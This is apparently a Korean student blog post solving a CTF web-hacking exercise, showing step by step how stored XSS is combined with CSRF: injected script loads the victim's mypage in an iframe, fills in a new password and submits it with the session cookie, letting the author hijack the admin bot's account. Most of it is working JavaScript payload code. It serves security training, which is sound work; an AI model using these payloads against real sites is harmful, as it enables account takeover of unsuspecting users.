1, 2번과 동일한 문제
1. 비밀번호 변경 요청 확인
요청을 확인해보니 csrf token이라는 것이 추가 되었다.
2. XSS를 이용한 CSRF 공격
2-1) iframe이 onload 될 함수정의
2-2) iframe의 src를 마이페이지로 지정
2-3) iframe이 모두 로드 되면 비밀번호 input tag에 value를 124로 지정
2-4) iframe의 업데이트 버튼 클릭하도록 target.contentDocument.getElementById('signup-btnl').click() 추가
<script>
delete window.alert
var errorFunction = function() {
var target = document.getElementById('myframe')
delete target.contentWindow.alert
console.log(target)
target.contentDocument.getElementsByName('pw')[0].value = 124
console.log(target.contentDocument.getElementsByName('pw')[0].value)
//document.getElementById('token_input').value = token
target.contentDocument.getElementById('signup-btnl').click()
this.src=''
}
</script>
<iframe onload='errorFunction()' name="myframe" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=aksrl26T" id="myframe"></iframe>
3. 비밀번호 변경 확인
4. 관리자 봇으로 해당 url 전달
alert이 발생하여서 실패.....
2. XSS를 이용한 CSRF 공격(다시)
2-1) iframe에서 클릭하면 alert이 발생 하기 때문에 fetch를 통해 요청(html 랜더링 안해서)
2-2) iframe에서 form데이터 받아와서 formData 구성
2-3) 로그인 정보를 session에서 가져오기 때문에 credentioals : 'include'를 사용하여 세션아이디를 포함한 쿠키를 전달.
<script>
var sendForm = function() {
var target = document.getElementById('myframe')
target.contentDocument.getElementsByName('pw')[0].value = 111
var form = target.contentDocument.getElementsByTagName('form')[0]
var url = 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php'
var formData = new FormData(form)
for (var pair of formData.entries()) {
console.log(pair[0] + ': ' + pair[1]);
}
console.log(form)
console.log(formData)
console.log(target)
fetch(url, {
method: "POST",
credentials: 'include',
body: formData
})
.then(data => {
// 성공적으로 응답을 받았을 때의 처리
console.log()
return data.text()
})
.then(html => {
console.log(html)
})
.catch(error => {
// 에러 처리
console.error('Error:', error);
});
}
</script>
<iframe onload='sendForm()' name="myframe" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=aksrl26T" id="myframe"></iframe>
3. 비밀번호 변경 확인
4. 관리자 봇에게 접근하도록 요청
5. 관리자 계정으로 로그인
'웹 해킹 코스 > 과제' 카테고리의 다른 글
4-5 게시판 구현하기 (summernote 적용) (0) | 2024.02.06 |
---|---|
4-4 게시판 구현하기 (Preparedstatement 적용) (0) | 2024.02.06 |
12주차 CSRF 문제 풀이(Get Admin2) (0) | 2024.01.22 |
12주차 CSRF 문제 풀이(Get Admin1) (0) | 2024.01.22 |
11주차 Steal Info2 (0) | 2024.01.20 |